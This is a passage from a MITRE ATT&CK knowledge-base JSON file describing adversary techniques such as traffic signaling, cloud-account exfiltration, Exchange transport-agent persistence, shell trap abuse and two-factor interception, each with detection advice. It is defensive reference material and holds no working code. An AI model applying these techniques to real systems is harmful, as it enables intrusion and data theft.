                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
                },
                {
                    "source_name": "FireEye - Synful Knock",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html",
                    "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Bleeping Computer - Ryuk WoL",
                    "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/",
                    "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."
                },
                {
                    "source_name": "AMD Magic Packet",
                    "url": "https://www.amd.com/system/files/TechDocs/20213.pdf",
                    "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021."
                },
                {
                    "source_name": "GitLab WakeOnLAN",
                    "url": "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN",
                    "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021."
                }
            ],
            "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)",
            "name": "Traffic Signaling",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
            "revoked": false,
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "2.2",
            "x_mitre_defense_bypassed": [
                "Defensive network service scanning"
            ],
            "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_contributors": [
                "Josh Day, Gigamon"
            ]
        },
        {
            "created": "2019-08-30T13:03:04.038Z",
            "modified": "2021-03-08T10:33:01.280Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6",
            "description": "Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ",
            "name": "Transfer Data to Cloud Account",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1537",
                    "url": "https://attack.mitre.org/techniques/T1537"
                },
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "url": "https://www.justice.gov/file/1080281/download"
                }
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Snapshot: Snapshot Creation",
                "Snapshot: Snapshot Modification",
                "Cloud Storage: Cloud Storage Modification",
                "Cloud Storage: Cloud Storage Creation"
            ],
            "x_mitre_detection": "Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. ",
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8",
            "name": "Transmitted Data Manipulation",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1493",
                    "url": "https://attack.mitre.org/techniques/T1493"
                },
                {
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "source_name": "FireEye APT38 Oct 2018"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-02T14:27:49.110Z",
            "created": "2019-04-09T16:08:20.824Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1565.002",
                    "url": "https://attack.mitre.org/techniques/T1565/002"
                },
                {
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "source_name": "FireEye APT38 Oct 2018"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Transmitted Data Manipulation",
            "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
            "id": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2020-03-02T15:20:28.455Z",
            "created": "2020-03-02T14:27:00.693Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM",
                "root"
            ],
            "x_mitre_impact_type": [
                "Integrity"
            ],
            "x_mitre_detection": "Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1505.002",
                    "url": "https://attack.mitre.org/techniques/T1505/002"
                },
                {
                    "source_name": "Microsoft TransportAgent Jun 2016",
                    "url": "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help",
                    "description": "Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019."
                },
                {
                    "source_name": "ESET LightNeuron May 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Transport Agent",
            "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ",
            "id": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-25T22:59:59.124Z",
            "created": "2019-12-12T15:08:20.972Z",
            "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Application Log: Application Log Content"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "SYSTEM",
                "Administrator",
                "root"
            ],
            "x_mitre_contributors": [
                "ESET",
                " Christoffer Str\u00f6mblad"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
            "name": "Trap",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1154",
                    "url": "https://attack.mitre.org/techniques/T1154"
                },
                {
                    "source_name": "Trap Manual",
                    "url": "https://ss64.com/bash/trap.html",
                    "description": "ss64. (n.d.). trap. Retrieved May 21, 2019."
                },
                {
                    "source_name": "Cyberciti Trap Statements",
                    "url": "https://bash.cyberciti.biz/guide/Trap_statement",
                    "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T14:18:13.478Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.005",
                    "url": "https://attack.mitre.org/techniques/T1546/005"
                },
                {
                    "source_name": "Trap Manual",
                    "url": "https://ss64.com/bash/trap.html",
                    "description": "ss64. (n.d.). trap. Retrieved May 21, 2019."
                },
                {
                    "source_name": "Cyberciti Trap Statements",
                    "url": "https://bash.cyberciti.biz/guide/Trap_statement",
                    "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Trap",
            "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
            "id": "attack-pattern--63220765-d418-44de-8fae-694b3912317d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-24T16:43:02.273Z",
            "created": "2020-01-24T14:17:43.906Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Creation",
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "macOS",
                "Linux"
            ]
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1127",
                    "url": "https://attack.mitre.org/techniques/T1127"
                },
                {
                    "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/",
                    "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.",
                    "source_name": "engima0x3 DNX Bypass"
                },
                {
                    "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/",
                    "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.",
                    "source_name": "engima0x3 RCSI Bypass"
                },
                {
                    "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html",
                    "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.",
                    "source_name": "Exploit Monday WinDbg"
                },
                {
                    "source_name": "LOLBAS Tracker",
                    "url": "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/",
                    "description": "LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019."
                }
            ],
            "description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.",
            "name": "Trusted Developer Utilities Proxy Execution",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2021-03-05T22:25:49.118Z",
            "created": "2017-05-31T21:31:39.262Z",
            "x_mitre_version": "1.2",
            "x_mitre_contributors": [
                "Casey Smith",
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_defense_bypassed": [
                "Application control"
            ],
            "x_mitre_detection": "Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "created": "2018-04-18T17:59:24.739Z",
            "modified": "2021-03-08T10:33:01.045Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1199",
                    "url": "https://attack.mitre.org/techniques/T1199"
                },
                {
                    "source_name": "CISA IT Service Providers",
                    "url": "https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers",
                    "description": "CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020."
                }
            ],
            "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)",
            "name": "Trusted Relationship",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Logon Session: Logon Session Metadata",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_detection": "Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "created": "2017-05-31T21:31:23.195Z",
            "modified": "2020-03-25T20:35:21.672Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1111",
                    "url": "https://attack.mitre.org/techniques/T1111"
                },
                {
                    "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf",
                    "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.",
                    "source_name": "Mandiant M Trends 2011"
                },
                {
                    "url": "https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx",
                    "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.",
                    "source_name": "GCN RSA June 2011"
                },
                {
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
                    "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
                    "source_name": "Operation Emmental"
                }
            ],
            "description": "Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)",
            "name": "Two-Factor Authentication Interception",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
            "x_mitre_version": "1.1",
            "x_mitre_contributors": [
                "John Lambert, Microsoft Threat Intelligence Center"
            ],
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Driver: Driver Load",
                "Process: OS API Execution"
            ],
            "x_mitre_detection": "Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_system_requirements": [
                "Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes."
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "name": "Uncommonly Used Port",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1065",
                    "url": "https://attack.mitre.org/techniques/T1065"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-14T18:19:53.002Z",
            "created": "2017-05-31T21:30:53.408Z"
        },
        {
            "id": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
            "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.",
            "name": "Unix Shell",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1059.004",
                    "url": "https://attack.mitre.org/techniques/T1059/004"
                },
                {
                    "source_name": "DieNet Bash",
                    "url": "https://linux.die.net/man/1/bash",
                    "description": "die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020."
                },
                {
                    "source_name": "Apple ZShell",
                    "url": "https://support.apple.com/HT208050",
                    "description": "Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-06-15T16:55:44.483Z",
            "created": "2020-03-09T14:15:05.330Z",
            "x_mitre_platforms": [
                "macOS",
                "Linux"
            ],
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation"
            ],
            "x_mitre_detection": "Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ",
            "x_mitre_permissions_required": [
                "User",
                "root"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.004",
                    "url": "https://attack.mitre.org/techniques/T1546/004"
                },
                {
                    "source_name": "intezer-kaiji-malware",
                    "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/",
                    "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."
                },
                {
                    "source_name": "bencane blog bashrc",
                    "url": "https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/",
                    "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021."
                },
                {
                    "source_name": "anomali-rocke-tactics",
                    "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect",
                    "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020."
                },
                {
                    "source_name": "Linux manual bash invocation",
                    "url": "https://wiki.archlinux.org/index.php/Bash#Invocation",
                    "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021."
                },
                {
                    "source_name": "Tsunami",
                    "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/",
                    "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020."
                },
                {
                    "source_name": "anomali-linux-rabbit",
                    "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat",
                    "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020."
                },
                {
                    "source_name": "Magento",
                    "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html",
                    "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020."
                },
                {
                    "source_name": "ScriptingOSX zsh",
                    "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/",
                    "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021."
                },
                {
                    "source_name": "PersistentJXA_leopitt",
                    "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5",
                    "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021."
                },
                {
                    "source_name": "code_persistence_zsh",
